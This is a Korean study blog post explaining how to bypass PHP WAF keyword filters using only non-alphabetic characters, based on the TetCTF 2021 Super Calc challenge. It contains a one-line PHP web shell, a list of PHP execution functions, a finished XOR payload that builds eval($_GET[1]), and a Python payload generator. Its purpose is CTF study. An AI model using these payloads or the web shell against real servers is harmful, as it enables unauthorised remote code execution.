-
[PHP] WAF Bypass : Non-Alphabets CodeStudy/Web 2021. 1. 11. 17:55
웹 서버의 권한을 얻기 위해 웹 쉘을 이용하는 경우가 많다.
이때, 해당 WAF에서 RCE를 유발할 수 있는 문자를 포함한 코드를 차단한다.
RCE를 유발할 수 있는 코드의 예시를 들자면, 아래의 코드와 같이 원하는 인자로 원하는 함수를 실행할 수 있는 코드이다. 해당 코드에서 원하는 함수를 실행할 수 있는 이유는 PHP에서는 가변 함수의 개념을 지원하여 변수나 문자열을 이용하여 함수를 호출할 수 있기 때문이다.
<?php $_GET[s]($_GET[i]); ?>
PHP 실행 함수
- system()
- shell_exec()
- eval()
- exec()
- passthru
- etc...공격자 마음대로 함수를 실행할 수 있다면 보안상 위험하기 때문에 아래 코드와 같이 특정 함수 이름 등을 필터링하여 방어할 수 있다.
<?php if(preg_match('/system|exec|passthru/', $_GET[input])) { echo "invalid syntax"; } else { eval($_GET[input]); } ?>
이러한 필터링을 우회하기 위해서는 허용된 문자를 이용해 "system" 등 원하는 문자열로 변환하여 전달해야 한다. 허용된 다른 문자로 어떻게 원하는 문자열을 만들 수 있는지, 영문자(a-zA-Z)를 사용하지 않고 특정 문자열을 생성하는 방법에 대해 알아보았다. (본 글에서 사용한 예제 코드는 TetCTF 2021의 Super Calc의 일부이다.)
[ TetCTF 2021: Super Calc ]
<?php $wl = preg_match('/^[0-9\+\-\*\/\(\)\'\.\~\^\|\&]+$/i', $_GET["calc"]); if($wl === 0 || strlen($_GET["calc"]) > 70) { die("Tired of calculating? <3"); } echo 'Result: '; eval("echo ".eval("return ".$_GET["calc"].";").";"); ?>
입력 값으로 숫자와 + - * / ( ) ' . ~ ^ | & 정도만 사용이 가능하다. 즉, 영문자(a-zA-Z)는 전혀 사용할 수 없다.
이를 우회하기 위해, 사용할 수 있는 문자 간의 XOR 연산으로 특정 문자를 생성할 수 있다는 점을 이용하였다. 두 문자의 연산만으로는 만들 수 있는 문자에 한계가 있어 보통 3개의 문자를 이용한다.
XOR 연산을 수행하기에 앞서 XOR 연산의 특징에 대해 알아보았다.
[ XOR 특징 ]
a ^ b = c
a ^ c = b
b ^ c = a
=> 얻으려는 문자로 연산하여 더욱 쉽게 값을 얻을 수 있다.
a ^ b = c
d ^ e = f
ad ^ be = cf
=> (a^b).(d^e)을 ad^be로 좀 더 간결하게 수식을 표현할 수 있다.사용 가능한 숫자와 문자 간의 XOR 연산으로 아래와 같이 eval(\$_GET[1])을 생성할 수 있다.
e = "~" ^ "0" ^ "+"
v = "~" ^ "0" ^ "8"
a = "|" ^ "0" ^ "-"
l = "&" ^ "4" ^ "~"
( = "(" ^ "0" ^ "0"
$ = "&" ^ "0" ^ "2"
...
eval($_GET[1]) => "~~|&(&^^^^^1^)"^"00040000020000"^"+8-~021)+85030"한 글자씩 XOR 연산을 하는 것은 무리가 있어 Python을 이용하였다.
# !/usr/bin/python find_str = "eval($_GET[1])" valid = "0123456789+-*/().~&|^" def xor(expected, valid): for v1 in valid: for v2 in valid: r = chr(ord(expected) ^ ord(v1) ^ ord(v2)) if r in valid: return r, v1, v2 s1, s2, s3 = str(), str(), str() for expected in find_str: a, b, c = xor(expected, valid) s1 += a s2 += b s3 += c if len(find_str) != len(s1): print("[-] Not Found!") else: res = "(\"{}\"^\"{}\"^\"{}\")".format(s1, s2, s3) print("[+] {} => {}".format(find_str, res))
[참고]
- ironhackers.es/en/tutoriales/saltandose-waf-ejecucion-de-codigo-php-sin-letras/
- www.defenxor.com/blog/writing-simple-php-non-alphanumeric-backdoor-to-evade-waf/
- medium.com/mucomplex/bypass-with-php-non-alpha-encoder-fee4e1bac31e
'Study > Web' 카테고리의 다른 글
[MongoDB] ObjectId 란? (0) 2021.06.27 [HTTP] Basic Authentication _ .htpasswd (0) 2021.03.08 [HTTP] Header : X-Forwarded-For (XFF) (0) 2021.02.09 PHP 입력 길이 제한 우회 (0) 2021.01.09 댓글